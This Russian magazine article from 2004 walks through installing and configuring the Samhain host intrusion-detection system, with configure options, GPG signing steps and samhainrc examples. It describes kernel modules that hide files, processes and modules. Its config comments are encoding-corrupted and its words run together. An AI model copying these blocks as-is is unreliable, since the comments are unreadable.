Windows 2000 в среде Cygwin, который эмулирует POSIX,но Cygwin использует общедоступные области памяти дляхранения информации процессов, что не очень хорошо сточки зрения безопасности. Samhain придерживаетсястандарта Filesystem Hierarchy Standard (FHS), предписы-вающего рекомендуемое расположение каталогов в UNIX-системах. Для своей работы Samhain использует базу дан-ных сигнатур, которая создается при первом запуске и вдальнейшем сравнивается с живой системой. В такой базесодержится информация о 192-битной контрольной сум-ме по алгоритму TIGER (возможно использование SHA-1или MD5), inode, типе файла, владельце и группе, правахдоступа, флаги ext2 файловой системы, временных мет-ках, размере, количестве жестких ссылок, minor и majorномеров для файлов устройств и для символических ссы-лок имя файла, на которое она ссылается.

Установка и конфигурация

Так как Samhain представляет собой довольно продви-нутое приложение со множеством возможностей, о кото-рых просто необходимо рассказать, чтобы сложилось наи-более полное представление о продукте, а документация,как мне кажется, не совсем понятна и логична, то постро-им далее статью так. Вместе с некоторыми опциями кон-фигурирования будут указаны параметры конфигураци-онного файла, которые потребуются, чтобы реализоватьэти возможности, а ниже будет описан общий конфигура-ционный файл для клиента и отличающиеся опции для сер-вера. Samhain распространяется исключительно в видеисходного текста по причинам, которые поймете по ходуизложения материала. Но в документации, поставляемойвместе с архивом, имеются разделы, объясняющие, каксоздать прекомпилированный пакет для некоторых под-держиваемых систем (в последней версии появился и

samhain.ebuild файл для Gentoo). Итак, скачиваем архивsamhain-current.tar.gz, распаковываем:

В текущем подкаталоге образуются два файлаsamhain-1.8.3.tar.gz.asc и samhain-1.8.3.tar.gz, рекоменду-ется первоначально проверить подлинность и целостностьисходного текста при помощи gpg:

Второй вариант состоит в проверке контрольной MD5-суммы, и сравнении ее с той, которая имеется на сайте.

Теперь распаковываем архив, заходим внутрь, и те-перь у нас два возможных варианта установки. Первый,более простой, происходит в графическом режиме, дляэтого вводим ./Install.sh (должны быть установлены паке-ты dialog или xdialog), в результате чего появляется окно,изображенное на рис. 1 и 2, и далее будут задаваться воп-росы о будущей конфигурации системы samhain, но в моемслучае было получено такое сообщение:

Не хотелось ради какого-то ненужного в системе диа-лога лезть в Интернет, поэтому воспользовался еще од-ним подобным инструментом lxdialog, который идет вмес-те с исходными текстами ядра и лежит в /usr/src/linux/scripts/lxdialog. Так как программа конфигурирования, най-дя программу dialog, далее отказывалась работать, при-шлось ее временно убрать:

После чего удалось настроить систему в графическомрежиме. Если что-то не получается, то в таком случае ус-тановку можно произвести стандартными:

Если выполнить команду ./configure без дополнитель-ных параметров, получим samhain, который контролируеттолько локальную систему, без серверно/клиентской ар-хитектуры и прочих, не всегда нужных наворотов, в такомслучае это будет напоминать что-то вроде Tripwire. Иначеобратим внимание на дополнительные опции, существен-но расширяющие возможности. Для этого вначале даемкоманду ./configure с ключом help.! --enable-login-watch – (по умолчанию – нет) компиляция с

режимом контроля входа в систему и выхода из системысистемных пользователей, используя файлы utmp и wtmp.Для настройки необходимо создать секцию SuidCheck:

Ðèñóíîê 1

#tar xvzf samhain-current.tar.gz

#/usr/bin/gpg --keyserver pgp.mit.edu --recv-key 0F571F6C#/usr/bin/gpg --verify samhain-1.8.3.tar.gz.asc ↵↵↵↵↵

samhain-1.8.3.tar.gz

# md5sum samhain-1.8.3.tar.gze959ccc997e74e13a037c3281c41a581 samhain-1.8.3.tar.gz

Ðèñóíîê 2

# whereis dialogdialog: /usr/bin/dialog /usr/share/man/man1/dialog.1.gz# mv /usr/bin/dialog /usr/bin/dialog_bak

#./configure [options]#make#su$make install

Page 55: 018 Системный Администратор 05 2004

53№5(18), май 2004

безопасность

! --with-suidcheck – (по умолчанию – нет) заставитsamhain проверять все SUID/SGID-программы в опре-деляемых пользователем интервалах и сообщать припоявлении новых, не внесенных в базу данных. Послеинициализации базы данных, все SUID/SGID-файлыбудут автоматически включены в базу данных. Есте-ственно не работает на nfs, proc, msdos, vfat и iso9660и других файловых системах с опцией монтированияnosuid, поэтому не стоит включать их в базу данных.Для настройки необходимо создать секцию SuidCheckпримерно такого содержания:

На все первоначально найденные SUID/SGID-файлыбудут выведены примерно такие сообщения:

А если найдутся новые, то программа начнет нервни-чать и сообщит администратору о находке.! --with-kcheck – (по умолчанию – нет) проверка систе-

мы на наличие kernel rootkit загружаемых при помощиLKM (loadable kernel module). Хочется напомнить, чтоотказ от поддержки модулей в ядре, не устраняет ихмодификацию через /dev/kmem. Для GNU/Linux требу-ется указать место расположение файла System.map(обычно строка выглядит так: --with-check=/boot/System.map), для FreeBSD этого не требуется. Для кон-фигурирования добавляем секцию Kernel:

! --enable-install-name=samhain|yule – очень интерес-ная опция, позволяющая дать другое произвольное,не вызывающее подозрений имя, с которым и ском-пилировать программу, при этом оно будет автома-тически заменено во всех скриптах. Это позволитскрыть наличие в системе этой утилиты. При компи-ляции samhain в среде клиент|сервер без использо-вания этой опции имя samhain|yule будет дано авто-матически.

! --enable-khide=System.map (только для Linux) компили-рует и устанавливает два модуля ядра: samhain_hide.oи samhain_erase.o. Модуль samhain_hide.o спрячет фай-лы, каталоги и процессы с именем, указанным в оп-ции --enable-install-name=NAME или если такая опцияне используется, то по умолчанию принимаетсяsamhain. Второй, samhain_erase.o, предназначен дляскрытия самих модулей.

! --enable-mounts-check – модуль, написанный ComputerIncident Response Team, позволяет контролироватьправильность опций монтирования файловых сис-тем. Этот модуль в настоящее время поддерживаетLinux, Solaris и FreeBSD. Требует секции Mounts длянастройки:

! --enable-userfiles – еще один модуль от ComputerIncident Response Team, позволяющий отслеживатьизменения конфигурационных файлов пользовате-лей вроде .profile. За настройку отвечает секцияUserFiles:

[Utmp]# âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 � off, 1 � on)LoginCheckActive=1# èíòåðâàë âðåìåíè ìåæäó ïðîâåðêàìè â ñåêóíäàõLoginCheckInterval=600# ñåðüåçíîñòü ñîáûòèÿ, äîñòàòî÷íî èíôîðìàöèîííîãîSeverityLogin=infoSeverityLogout=info# à âîò åñëè îäèí è òîò æå ïîëüçîâàòåëü çàðåãèñòðèðîâàëñÿ# ìíîãîêðàòíî, òî ýòî ñîáûòèå ñêîðåå êðèòè÷åñêîåSeverityLoginMulti=crit

[SuidCheck]# âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 � off, 1 � on)SuidCheckActive=1# èíòåðâàë ìåæäó ïðîâåðêàìè â ñåêóíäàõ# (ïî óìîë÷àíèþ � 7200 ñåê., ò.å. 2 ÷àñà)# SuidCheckInterval=86400# èëè ìîæíî çàäàòü âðåìÿ ïðîâåðêè â ñòèëå crontab,# íàïðèìåð, â 05:30 êàæäûé äåíü, ÷òîáû, ïðèäÿ# íà ðàáîòó, ïîëó÷èòü èíôîðìàöèþ.SuidCheckSchedule=30 5 * * *# ñåðüåçíîñòü ñîáûòèÿ, åñòåñòâåííî, êðèòè÷åñêàÿSeveritySuidCheck=crit# òàê ìîæíî èñêëþ÷èòü îäèí êàòàëîã èç ñïèñêà ïðîâåðÿåìûõ# (íàïðèìåð, ñòðîêà äëÿ Solaris)#SuidCheckExclude=/net/localhost# òàê êàê ïðîâåðêà SUID/SGID � äåëî íàêëàäíîå, òî ìîæíî# îãðàíè÷èòü êîëè÷åñòâî ïðîâåðÿåìûõ ôàéëîâ â ñåêóíäó# (files per seconds)SuidCheckFps=250

[Kernel]# âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 � off, 1 � on)KernelCheckActive=1# èíòåðâàë ìåæäó ïðîâåðêàìè â ñåêóíäàõ (ïî óìîë÷àíèþ 300)KernelCheckInterval=20# ïðîâåðêà interrupt descriptor table# (ïî óìîë÷àíèþ TRUE)KernelCheckIDT=TRUE# ñåðüåçíîñòü ñîáûòèÿSeverityKernel=crit

[Mounts]# âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 � off, 1 � on)MountCheckActive=1# èíòåðâàë ìåæäó ïðîâåðêàìè â ñåêóíäàõMountCheckInterval=7200# ñåðüåçíîñòü ñîáûòèÿ, îòñëåæèâàåòñÿ ïðàâèëüíîñòü# ìîíòèðîâàíèÿ è êîððåêòíîñòü îïöèè ìîíòèðîâàíèÿSeverityMountMissing=warnSeverityOptionMissing=warn# ïåðå÷èñëÿþòñÿ òî÷êè ìîíòèðîâàíèÿ ñî ñïèñêàìè# ïàðàìåòðîâ, êîòîðûå íóæíî îòñëåæèâàòücheckmount=/checkmount=/varcheckmount=/usrcheckmount=/tmp noexec,nosuid,nodevcheckmount=/home noexec,nosuid,nodev

[UserFiles]#UserfilesActive=1# âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 � off, 1 � on)# ôàéëû, ïðîâåðÿåìûå â êàæäîì $HOME# âîçìîæíî çàäàíèå ñëåäóþùèõ óðîâíåé, îòñëåæèâàþùèõ# îïðåäåëåííûå èçìåíåíèÿ, ïî óìîë÷àíèþ èñïîëüçóåòñÿ# noignore# allignore# attributes# logfiles# loggrow# noignore# readonly# user0# user1#UserfilesName=.login noignoreUserfilesName=.profile readonlyUserfilesName=.ssh/authorized_keys## âîçìîæíî çàäàíèå ñïèñêà ïðîâåðÿåìûõ UID, ïî óìîë÷àíèþ# ïðîâåðÿþòñÿ âñå ïîëüçîâàòåëèUserfilesCheckUids=0,100-500,1000-

Page 56: 018 Системный Администратор 05 2004

54

безопасность

! --with-trusted=0, UID1, UID2 – список доверенных поль-зователей, которым разрешен доступ к файлам, в томчисле запись. По умолчанию UID равен 0, но можно че-рез запятую добавить еще значения (не забыв про 0). Содной стороны это облегчает работу и повышает защи-щенность, т.к. нет необходимости лишний раз прибе-гать к учетной записи администратора, но с другой сто-роны нужно быть осторожным и внимательным, т.к. еслидополнительный доверенный пользователь являетсячленом группы, то к файлам могут получить доступ ичлены группы. Также при использовании этой опциимогут возникнуть приблизительно такие проблемы:

Некоторые проблемы решаются просто, вроде этого:

Но с другой стороны, при попытке изменить посторон-ним одного из этих параметров, вы будете предупрежде-ны. Дополнительно имеется опция --with-identity=USER, ко-торая указывает на имя пользователя, которое будет ис-пользоваться для понижения привилегий программы пос-ле запуска (по умолчанию nobody).! --with-prelude – опция, благодаря которой я в принципе

и обратил серьезное внимание на samhain. При еевключении возможно использование samhain как дат-чика Open Source Hybrid Intrusion Detection SystemPrelude и контролировать еще ряд дополнительныхпараметров, в том числе и сеть. Настройка самогоPrelude – тема отдельной статьи. Пока достаточно взятьс http://www.prelude-ids.org/rubrique.php3?id_rubrique=6файл библиотек libprelude и установить его обычнымобразом.

! --enable-xml-log – журнал событий, по умолчанию на-ходящийся в /var/log/samhain_log, будет вестись в фор-мате XML, эта опция будет обязательной при включе-нии некоторых других опций (базы данных, например).

! --with-database=[mysql|postgresql|oracle|odbc] – вклю-чение поддержки выбранной базы данных, в которуюзатем будут заноситься данные (требует --with-xml-log,PostgreSQL не любит опцию --enable-static). По умол-чанию сервер базы данных размещается на localhost,база данных называется samhain, содержит таблицу«log», доступ к которой осуществляется без пароля.Для автоматического создания соответствующейбазы данных и таблицы в комплекте имеются скрип-ты «samhain.mysql.init», «samhain.postgres.init» и«samhain.oracle.init».

Для PostgreSQL установка будет выглядеть так:

Для MySQL тоже не сложно:

При использовании базы данных необходимо добавитьв секцию Log:

И создать секцию Database, изменив поля, значениекоторых очевидно:

! --with-gpg=/full/path/to/gpg – samhain использует GnuGPдля подписи файла конфигурации и базы данных сиг-натур, выдавая контрольную сумму. При этом ее все-гда можно сверить, запустив:

Но использовав опцию --with-gpg, можно возложить частьработы на samhain. При этом программа конфигурации про-верит, чтобы доверенные пользователи имели доступ к gpg,а gpg будет вызываться без использования переменных обо-лочки по полному пути, указанному при компиляции, со сре-дой ограниченной переменной $HOME, используя файл$HOME/.gnupg. Для облегчения работы с подписью и про-веркой файлов имеется Perl-скрипт samhainadmin.pl, кото-рый первоначально придется заточить под свою систему.

При помощи опции --with-checksum=CHECKSUM мож-но вбить в программу контрольную сумму бинарника gpg,которая будет проверяться каждый раз при обращении кнему, что позволит контролировать оригинальность gpg(можно и отказаться, использовав --with-checksum=no).

Контрольную сумму можно узнать, использовав такуюкоманду:

И теперь в строке конфигурирования:

Но это еще не все, простой факт, что сигнатура явля-ется правильной, не доказывает, что это было подписаноименно вами и вашим ключом – только доказывает, чтоэто было подписано кем-то. Для того чтобы Samhain мог

# chown root:root /etc/samhainrc

# su postgres$ createdb samhain$ createuser samhain$ psql -d samhain < samhain.postgres.init$ exit

#mysql -p -u root < samhain.mysql.init#mysql -p -u root#mysqladmin -p -u root reload

[Log]DatabaseSeverity=warn

[Database]SetDBName=db_nameSetDBTable=db_tableSetDBHost=db_hostSetDBUser=db_userSetDBPassword=db_passwordSetDBServerTstamp=true/false � timestamp äëÿ ñîîáùåíèé

êëèåíòîâ

gpg -a --clearsign --not-dash-escaped FILE

#/usr/bin/gpg --load-extension tiger --print-md TIGER192 ↵↵↵↵↵/usr/bin/gpg

--with-checksum="/usr/bin/gpg: 1C739B6A F768C949 FABEF313 ↵↵↵↵↵5F0B37F5 22ED4A27 60D59664"

Page 57: 018 Системный Администратор 05 2004

55№5(18), май 2004

безопасность

проверить, что именно ваш ключ использовался, необхо-димо добавить опцию --with-fingerprint=FINGERPRINT.! --enable-stealth=xor_val, где xor_val может принимать

значение от 128 до 255. Еще одна довольно интерес-ная опция, позволяющая скрыть присутствие samhainв системе. При этом все сообщения в журнале скла-дываются со значением xor_val, не зная которое, бу-дет труднее прочитать записанное. Также журнал мож-но будет подцепить в конец любого исполняемого фай-ла или рисунка, а конфигурационный файл в режиместеганографии в файл Postscript. Правда, в последнемслучае можно использовать вариант --enable-micro-stealth=xor_val, когда конфигурационный файл прятатьне надо. Плюс дополнительно можно использоватьопцию --enable-nocl[=ARG], где ARG – магическое сло-во, без которого не будет приводиться анализ аргумен-тов командной строки.

И наконец, сетевые опции:! --enable-network=[client|server] – эта опция включает

поддержку сети и в соответствии с выбранной уста-новкой будет скомпилирован клиент или сервер, приэтом их необходимо конфигурировать и компилироватьотдельно.

! --with-timeserver=HOST и --with-alttimeserver=HOST – ус-тановка адреса для time-сервера основного и альтер-нативного.

! --with-logserver=HOST и --with-altlogserver=HOST – ука-зание адреса log-сервера основного и альтернативного.

! --with-libwrap=PATH – компилирование с поддержкойTCP Wrappers, и контроль доступа к log-серверу припомощи файлов /etc/hosts.allow и /etc/hosts.deny.

! --enable-udp – включение прослушивания серверомпорта 514 для работы по протоколу UDP для получе-ния информации от syslog-клиентов.

! --with-port=PORT – изменение номера порта для про-токола TCP/IP (по умолчанию 49777).

На этом обзор основных опций предлагаю закончить иперейти к практической части, в ходе которой и будут рас-смотрены оставшиеся вопросы. Итак, конфигурируем кли-ента и сервер, вариант использования samhain на одной ло-кальной машине будем считать частным упрощенным слу-чаем настройки клиента. Для начала заводим набор ключейлокальных gpg, можно использовать и имеющиеся, но я ре-шил для работы с samhain создать отдельный комплект.

Обратите внимание на строку Key fingerprint, которая

может понадобиться при включении возможности подпи-си своим ключом файлов, используемых samhain. Еслииспользуются ключи, сгенерированные ранее, то узнатьKey fingerprint можно, введя:

И конфигурируем клиента:

Во время конфигурирования сервера и клиента нарвал-ся на такие ошибки:

Сообщает, что для опции --with-database требуется оп-ция --enable-xml-log, что и добавляем в строку.

Программа не может найти файл libprelude-config, вхо-дящий в библиотеку Prelude IDS. У меня он находился вкаталоге /usr/local/bin, который не был виден в переменнойРАТН, лечится выполнением следующей команды (в bash):

Встретились незнакомые опции: --enable-static – длястатической компиляции, является рекомендуемой с точ-ки зрения безопасности. Строка --with-config-file= REQ_FROM_SERVER/etc/samhainrc указывает, что конфигура-ционный файл следует брать с сервера, где он называет-ся /etc/samhainrc, опция --with-recipient позволяет желез-но вшить в бинарник e-mail получателя отчетов, хотя прижелании можно его задать и в конфигурационном файле.

В конце конфигурирования программа выводит при-близительно такой отчет:

Обратите внимание на строку с Base key. Это еще одинмеханизм защиты, при котором во всех e-mail сообщени-ях и логах будут использованы эти два числа, и если наприеме программа обнаружит несоответствие Base key,то такое сообщение будет признано ложным. При каждомконфигурировании она будет разной, можно задать еесамому при помощи опции --enable-base=B1,B2, где B1,B2

# /usr/bin/gpg --gen-key

# gpg --fingerprint Jaremchuk

samhain-1.8.3 # ./configure --with-gpg=/usr/bin/gpg--with-fp=EA9E228F669770837DD41540FB4AD9A83D8B7333--enable-login-watch --enable-mounts-check ↵↵↵↵↵--enable-userfiles --enable-static ↵↵↵↵↵--enable-network=client --enable-suidcheck ↵↵↵↵↵--with-trusted=0,500 ↵↵↵↵↵--with-recipient=sergej@ logserver.com ↵↵↵↵↵--enable-xml-log --with-logserver=logserver.com ↵↵↵↵↵--with-config-file=REQ_FROM_SERVER/etc/samhainrc ↵↵↵↵↵--with-kcheck=/boot/ System.map

# export PATH=$PATH:/usr/local/bin

Page 58: 018 Системный Администратор 05 2004

56

безопасность

целые числа в диапазоне 0...2147483647. Естественно,если используются прекомпилированные пакеты, то этичисла будут для всех одинаковы и, вычислив путем де-компиляции программы их значение, злоумышленникможет подделывать сообщения (хотя согласитесь, что дляэтого нужна и соответствующая подготовка, что не каж-дый может себе позволить). Во избежание проблем в этомслучае разработчики настоятельно рекомендуют добавитьключ к каждому установленному файлу, выполнив:

где число (а может и комбинация из различных знаков, яне нашел ограничений) без знака @, и в итоге будет со-здан еще один файл с префиксом .out, который нужно бу-дет переименовать в оригинальное имя. Пошли дальше.

При компиляции с опцией --enable-khide обратите вни-мание на наличие подобных строк, указывающих на мес-торасположение и наличие соответствующих модулей:

Программа настоятельно предлагает подписать конфи-гурационный файл. Мы с его настройкой разберемся чутьпозже, тогда же и подпишем вручную.

После чего для возможности автоматического запус-ка утилиты выполняем:

Этот шаг нормально отрабатывался на всех системах(проверял на Linux – Redhat, Gentoo и SuSE, а также воFreeBSD), и проблемы с автозагрузкой возникали только из-за неправильной настройки или недоступности тех или иныхфайлов. А если у вас не получилось, то возьмите за шаблонодин из предлагаемых вариантов, которые можно найти вподкаталогах init и profiles и заточите под свою систему.

И теперь, наконец, сам конфигурационный файл. На-зывается он /etc/samhainrc (если только не использоваласьопция --enable-install-name или --enable-stealth). Внутри име-ется готовый шаблон, в котором для большинства случаевдостаточно раскомментировать нужные параметры, приэтом опции, заданные в строке конфигурации, можно про-пускать, а можно дополнить дополнительными значениями.В секциях [Attributes], [LogFiles], [GrowingLogFiles], [IgnoreAll],[IgnoreNone], [ReadOnly], [User0] и [User1] задаются соответ-ствующие политики для указанных внутри файлов и катало-гов. При этом возможно два варианта задания путей:! file= /full/path/to/the/file – для указания непосредствен-

но на файл;! dir= [recursion depth]/full/path/to/the/dir – для указания на

обход каталога, при этом перед путем может ставить-ся цифра максимальной глубины рекурсии.

Далее следует секция [EventSeverity], в которой опре-делена степень серьезности при нарушении описанныхвыше событий (в отличие от опциональных пунктов, у ко-торых серьезность внесена в саму секцию, здесь они со-браны отдельным пунктом). Имеется десять уровней се-рьезности события:! none – не обращать внимания, т.е. не регистрировать;! debug – отладочное сообщение;! info – информационное сообщение;! notice – ничего страшного (нормальное состояние);! warn – предупреждение;! mark – временная метка;! err – ошибка;! crit – критическое событие;! alert – завершение программы, например по причине

фатальной ошибки;! inet – входящий от клиента.

Однако, поскольку важность события – вопрос вкуса,некоторые имеют строгое обращение. При этом mark, alert,inet относятся к предустановленным событиям, остальныеуровни можно определять самим для конкретного случая.Итак, пример.

И две секции [User0] и [User1], в которых по умолча-нию отслеживаются и попадают в отчет все модифика-ции. Но для каждой секции возможно переопределение

samhain-1.8.3 # makesamhain-1.8.3 # make install

samhain-1.8.3 # make install-boot./samhain-install.sh --destdir= --express --verbose install-bootLinux Standard Base system detected/usr/bin/ginstall -c -m 700 init/samhain.startLSB ↵↵↵↵↵

/etc/init.d/samhain/usr/lib/lsb/install_initd /etc/init.d/samhain

installing init scripts completed

[Attributes]# äëÿ ôàéëîâ, óêàçàííûõ â ýòîì ðàçäåëå, áóäóò# êîíòðîëèðîâàòüñÿ àòðèáóòû äîñòóïàfile=/etc/mtabfile=/etc/ssh_random_seedfile=/etc/asound.conffile=/etc/resolv.conffile=/etc/localtimefile=/etc/ioctl.savefile=/etc[LogFiles]# â ýòèõ ôàéëàõ áóäóò ïðîâåðÿòüñÿ âñå, çà èñêëþ÷åíèåì# âðåìåííûõ ìåòîê äîñòóïà, ðàçìåðà è èçìåíåíèå ñèãíàòóðûfile=/var/run/utmpfile=/etc/motd[GrowingLogFiles]# òî æå, ÷òî è ïðåäûäóùèé ïóíêò, òîëüêî èçìåíåíèå ðàçìåðà# ôàéëà áóäåò ïðîèãíîðèðîâàíî ëèøü â ñëó÷àå óâåëè÷åíèÿ# ðàçìåðà ôàéëàfile=/var/log/warnfile=/var/log/messagesfile=/var/log/wtmpfile=/var/log/faillog[IgnoreAll]# âñå èçìåíåíèÿ â ýòèõ ôàéëàõ íå ïîïàäóò â îò÷åò, íî îíè âñå# æå ïðîâåðÿòüñÿ áóäóò, ñþäà ìîæíî ïîìåñòèòü íå íóæäàþùèåñÿ# â ïðîâåðêå ôàéëû ïðè ðåêóðñèâíîì îáõîäå êàòàëîãàfile=/etc/resolv.conf.pcmcia.save[IgnoreNone]# äëÿ ýòèõ ôàéëîâ áóäóò âûâîäèòüñÿ â îò÷åò âñå âîçìîæíûå# èçìåíåíèÿ, ðàçðàáîò÷èêè ðåêîìåíäóþò ñîçäàòü ïîäñòàâíîé# ôàéë âðîäå /etc/passwd.bak è îòñëåæèâàòü ïîïûòêó îáðàùåíèÿ# ê íåìó[ReadOnly]# äëÿ ýòèõ ôàéëîâ èãíîðèðóåòñÿ âðåìÿ äîñòóïàdir=/usr/bindir=/bindir=3/sbindir=/usr/sbindir=/libdir=3/etcdir=/boot

samhain --add-key=key@/usr/local/sbin/samhain

Page 59: 018 Системный Администратор 05 2004

57№5(18), май 2004

безопасность

по умолчанию выставленных параметров. Это особенноудобно при использовании секций [User0] и [User1], чтопозволяет создать конфигурацию действительно на всеслучаи жизни. Для этого в секции [Misc] создаются пара-метры, соответствующие имени изменяемого поля с пре-фиксом Redef, вроде RedefReadOnly, RedefAttributes,RedefUser0 и указанием параметра со знаком плюс (длядобавления), минус (для отмены контроля) и без знака дляустановки. Параметры могут быть такие: CHK (checksum),LNK (link), HLN (hardlink), INO (inode), USR (user), GRP(group), MTM (mtime), ATM (atime), CTM (ctime), SIZ (size),RDEV (device numbers) и MOD (file mode).

Опции, указанные в файле, в случае использованияединого централизованного файла будут действительныдля всех клиентов, что не всегда нужно. Для возможностизадания индивидуальных для некоторого узла или систе-мы параметров возможно использование в разделах лю-бого количества инструкций вида:

Или обратной конструкции, т.е. для всех, кроме:

Или для некоторых систем (uname -srm):

При этом HOSTNAME должно быть полное доменноеимя вроде server.com без всяких псевдонимов и IP-адре-сов. Теперь такая ситуация: некоторые файлы вы хотитепроверять, допустим, раз в час, а всю систему только разв день. Такая ситуация также предусмотрена. Для этогоиспользуется конструкция:

и в разделе Misc прописываем crontab-подобное заданиевроде:

Теперь пример секции EventSeverity.

И наконец, еще два обязательных раздела: Log – опи-сывающий систему регистрации событий и Misc – общиеустановки. По умолчанию большая часть регистраторовсобытий отключена, и поэтому нужно внимательно про-смотреть эту секцию и выбрать необходимое. Здесь ещеважно пару слов добавить о классах сообщений. Серьез-ность события ранжирует сообщения по их важности, клас-сы относятся к категориям сообщений, призванным умень-шить вывод, например, рассматривая сообщения в неко-тором контексте (запуск от cron при котором сообщениязапуска и остановки могут быть лишними). Сообщениябудут регистрироваться, только если их серьезность со-ответствует заявленной, и класс сообщения имеется всписке. При этом по умолчанию регистрируются все клас-сы, и параметр none отключает регистрацию.

С версии 1.8.2 регистрируются следующие классы.

Пока еще поддерживаются старые классы сообщений,но скорее всего от них нужно потихоньку отвыкать, поэто-му и не будем о них говорить. Также по умолчанию в лог-сервере отключена регистрация клиентских событий наsyslog и e-mail, которая, впрочем, там совсем и не к чему.Но если это все-таки необходимо, то для возможностивключения в секции [Misc] пропишите параметр UseClientSeverity=yes. Возможно использование спецификаторов«*», «!» и «=», которые означают соответственно «все»,«все кроме» и «только», а также инструкции LogCalls суказанием системных выводов, которые необходимо ре-гистрировать (только для консоли и syslog): execve, utime,unlink, dup (+ dup2), chdir, open, kill, exit (+ _exit), fork, setuid,setgid, pipe.

@HOSTNAMEfile=/path/to/file@end

!@ HOSTNAMEfile=/path/to/file@end

$sysname:release:machine# ÷òåíèå, òîëüêî åñëè sysname:release:machine# ñîîòâåòñòâóåò ëîêàëüíîìó êîìïüþòåðó$end!$sysname:release:machine# íàîáîðîò$end

%SCHEDULE_TWO dir=/check/only/once/per/day!%SCHEDULE_TWO

FileCheckScheduleTwo=00 * * * *

[EventSeverity]#íèæå óêàçàíû óðîâíè íàðóøåíèÿ ñîîòâåòñòâóþùèõ ïîëèòèêSeverityReadOnly=critSeverityLogFiles=critSeverityGrowingLogs=critSeverityIgnoreNone=critSeverityAttributes=crit#SeverityIgnoreAll=info# îøèáêè äîñòóïà ê ôàéëàì è êàòàëîãàì

SeverityFiles=errSeverityDirs=err# íåïîíÿòíûå èìåíà ôàéëîâ èëè íåäîïóñòèìûé UIDS/GIDS,# êîòîðûé íå ïðèíàäëåæèò íè îäíîìó ïîëüçîâàòåëþ èëè ãðóïïåSeverityNames=info

[Log]# ïðèìåð èñïîëüçîâàíèÿ ñïåöèôèêàòîðîâ# MailSeverity=*# MailSeverity=!warn# MailSeverity==crit# ïîðîãè äëÿ êàæäîãî ðåãèñòðèðóþùåãî óñòðîéñòâàMailSeverity=nonePrintSeverity= infoLogSeverity= errLogClass=RUN FIL STAMPSyslogSeverity=noneExportSeverity=warnPreludeSeverity=noneDatabaseSeverity=err# ñèñòåìíûå âûçîâûLogCalls=open, kill, setuid, setgid[Misc]# ñòàðò â âèäå ïðîöåññà-daemonàDaemon=yes# ìàêñèìàëüíîå âðåìÿ ìåæäó ñîîáùåíèÿìè êëèåíòîâ â ñåêóíäàõ# (òîëüêî äëÿ log-server; ïî óìîë÷àíèþ 86400 ñåê. = 1 äåíü)# SetClientTimeLimit=1800

Page 60: 018 Системный Администратор 05 2004

58

безопасность

Хочется отметить, что это далеко не все опции, толькоосновные, остальное в документации. Также samhain мо-жет выполнять внешние команды, например для допол-нительного форматирования сообщения, отправки SMSили изменения настроек IDS или firewall. Для этого исполь-зуется отдельная секция [External], описание которой най-дете в разделах «Calling external programs» и «External»документации.

После создания конфигурационного файла, подписы-ваем его:

После чего в текущем каталоге появится файл с пре-фиксом .asc, т.е. samhainrc.asc. Для работы переимено-вываем его:

Проверить подпись можно в любое время командой:

Теперь, когда все готово, можно приступать к созда-нию базы данных:

В результате в каталоге /usr/local/var/lib/samhain/ по-явится файл samhain_file, который содержит все сигнату-ры на момент инициализации, с которыми и будут срав-ниваться в дальнейшем параметры. Во избежание моди-фикации ее также рекомендуется подписать, схема ана-логична предыдущей:

Проверить соответствие можно командой:

# âðåìÿ ìåæäó ïðîâåðêàìè ôàéëîâ â ñåêóíäàõ (600)#SetFilecheckTime=1000#èëè ïðîâåðêà â ñòèëå crontab#FileCheckScheduleOne=00 * * * *# äëÿ ôàéëîâ ðàçäåëà SCHEDULE_TWO#FileCheckScheduleTwo=00 * * * *# ìàêñèìàëüíîå âðåìÿ ìåæäó îòïðàâêàìè ïî÷òû, âñå ñîîáùåíèÿ# êðîìå àâàðèéíûõ ïðè ýòîì áóäóò íàêàïëèâàòüñÿ (86 400 ñåê.)#SetMailTime=43200# ìàêñèìàëüíàÿ çàäåðæêà âî âíóòðåííåé î÷åðåäè îò 0 äî 127# (ïî óìîë÷àíèþ 10)#SetMailNum=10# óñòàíîâêà àäðåñà ïîëó÷àòåëÿ, ïîçâîëÿåòñÿ äî 8 àäðåñîâ# äî 63 ñèìâîëîâ.SetMailAddress=root@localhost# host äëÿ îòïðàâêè ïî÷òû ïî óìîë÷àíèþ ëîêàëüíûé � none# SetMailRelay=relay.yourdomain.com èëè IP-àäðåñ# Äëÿ ïðîâåðêè ìîäèôèêàöèé ìåæäó çàïóñêîì ïðîãðàììû# è âûõîäîì.# SamhainPath=/usr/local/bin/samhain# time-ñåðâåð (ïîðò 37/tcp)# SetTimeServer=localhost# log-ñåðâåð# SetLogServer=localhost# timestamp â ìåñòíîì âðåìåíè èëè GMTUseLocalTime=yes# èíòåðâàë ìåæäó ñîîáùåíèÿìè timestamps, êîòîðûå áóäóò# âñòàâëåíû â ñîîáùåíèÿ â òàêîì âèäå# MARK : [2004-03-21T19:49:45+0200] msg=<-- TIMESTAMP --># 77B71CEA79D01107AE9FAA66233A059D0FDC3B33FBA74700# SetLoopTime=60# ñþäà ìîæíî äîáàâèòü äîâåðåííûõ ïîëüçîâàòåëåé, íå âêëþ÷åííûõ# ïðè êîìïèëÿöèè (root è ïîëüçîâàòåëü, îò èìåíè êîòîðîãî# âûïîëíÿåòñÿ ïðîãðàììà, âñåãäà äîâåðåííûå)# TrustedUser=bin# ÷åì çàíèìàåìñÿ: èíèöèàëèçàöèåé áàçû äàííûõ, îáíîâëåíèåì# èëè ïðîâåðêîé ôàéëîâ, åñëè none (ðåæèì ïî óìîë÷àíèþ),# òî êîìàíäà çàäàåòñÿ â ñòðîêå çàïóñêà. init|update|check|noneChecksumTest=check# óñòàíîâêà ãëîáàëüíîãî çíà÷åíèÿ ðåêóðñèè (ìàêñèìóì 99,# ïî óìîë÷àíèþ - 0)SetRecursionLevel=20# ïðèîðèòåò ïðîöåññà ïðîâåðêè ôàéëîâ#SetNiceLevel=-19..19# âñå êëèåíòñêèå ñîîáùåíèÿ ïî óìîë÷àíèþ çàïèñûâàþòñÿ â îäèí# log. Îïöèÿ ïîçâîëÿåò èñïîëüçîâàòü èíäèâèäóàëüíûå æóðíàëû#UseSeparateLogs=yes/no# âîçìîæíî ïåðåîïðåäåëåíèå êîíñîëè, â òîì ÷èñëå# 